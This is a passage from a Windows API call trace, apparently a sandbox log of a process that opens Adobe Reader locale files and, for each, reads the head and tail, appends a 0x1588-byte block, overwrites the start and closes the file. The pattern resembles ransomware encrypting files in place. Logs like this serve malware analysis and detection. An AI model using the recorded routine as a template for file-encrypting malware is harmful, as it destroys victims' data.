lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.660] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2800 [0039.660] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.660] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.660] ReleaseMutex (hMutex=0x128) returned 1 [0039.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.POL", lpUsedDefaultChar=0x0) returned 12 [0039.660] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.662] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1800 [0039.662] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.663] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1800 [0039.663] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.663] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.663] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.663] CloseHandle (hObject=0x1b0) returned 1 [0039.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DVA.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\dva.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.664] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.664] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4a00 [0039.664] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.664] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.664] ReleaseMutex (hMutex=0x128) returned 1 [0039.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.PTB", lpUsedDefaultChar=0x0) returned 7 [0039.664] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.665] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3a00 [0039.665] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.666] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3a00 [0039.666] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.666] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.666] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.666] CloseHandle (hObject=0x1b0) returned 1 [0039.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\reflow.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\reflow.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.667] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.667] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1200 [0039.667] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.667] ReleaseMutex (hMutex=0x128) returned 1 [0039.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.PTB", lpUsedDefaultChar=0x0) returned 10 [0039.667] ReadFile (in: hFile=0x1b0, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2a0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0039.668] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0039.668] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0039.668] CloseHandle (hObject=0x1b0) returned 1 [0039.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Acroform.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\acroform.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.669] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.669] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6a800 [0039.669] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.669] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.669] ReleaseMutex (hMutex=0x128) returned 1 [0039.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUM", lpUsedDefaultChar=0x0) returned 12 [0039.669] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.671] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x69800 [0039.671] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.672] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x69800 [0039.672] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.672] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.673] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.673] CloseHandle (hObject=0x1b0) returned 1 [0039.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\MakeAccessible.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\makeaccessible.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.673] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.673] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x13a00 [0039.673] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.673] ReleaseMutex (hMutex=0x128) returned 1 [0039.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUM", lpUsedDefaultChar=0x0) returned 18 [0039.673] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.675] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x12a00 [0039.675] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.676] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x12a00 [0039.676] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.676] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.676] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.676] CloseHandle (hObject=0x1b0) returned 1 [0039.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.677] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.677] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x93a4 [0039.677] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.677] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.677] ReleaseMutex (hMutex=0x128) returned 1 [0039.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.677] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.306] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x83a4 [0040.306] ReadFile (in: hFile=0x1b0, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.480] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x83a4 [0040.481] WriteFile (in: hFile=0x1b0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.481] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.481] WriteFile (in: hFile=0x1b0, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.484] CloseHandle (hObject=0x1b0) returned 1 [0040.484] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Checkers.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\checkers.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.485] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.485] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1f000 [0040.485] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.485] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.485] ReleaseMutex (hMutex=0x128) returned 1 [0040.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUS", lpUsedDefaultChar=0x0) returned 12 [0040.488] ReadFile (in: hFile=0x1b0, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.502] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1e000 [0040.502] ReadFile (in: hFile=0x1b0, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.510] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1e000 [0040.511] WriteFile (in: hFile=0x1b0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.511] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.511] WriteFile (in: hFile=0x1b0, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.511] CloseHandle (hObject=0x1b0) returned 1 [0040.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\RdLang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\rdlang32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.511] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.511] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x14d800 [0040.512] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.512] ReleaseMutex (hMutex=0x128) returned 1 [0040.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUS", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUS", lpUsedDefaultChar=0x0) returned 12 [0040.512] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.528] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.536] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x14c800 [0040.536] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c5dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.548] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x14c800 [0040.548] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.549] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.549] WriteFile (in: hFile=0x1b0, lpBuffer=0x26d0018*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, 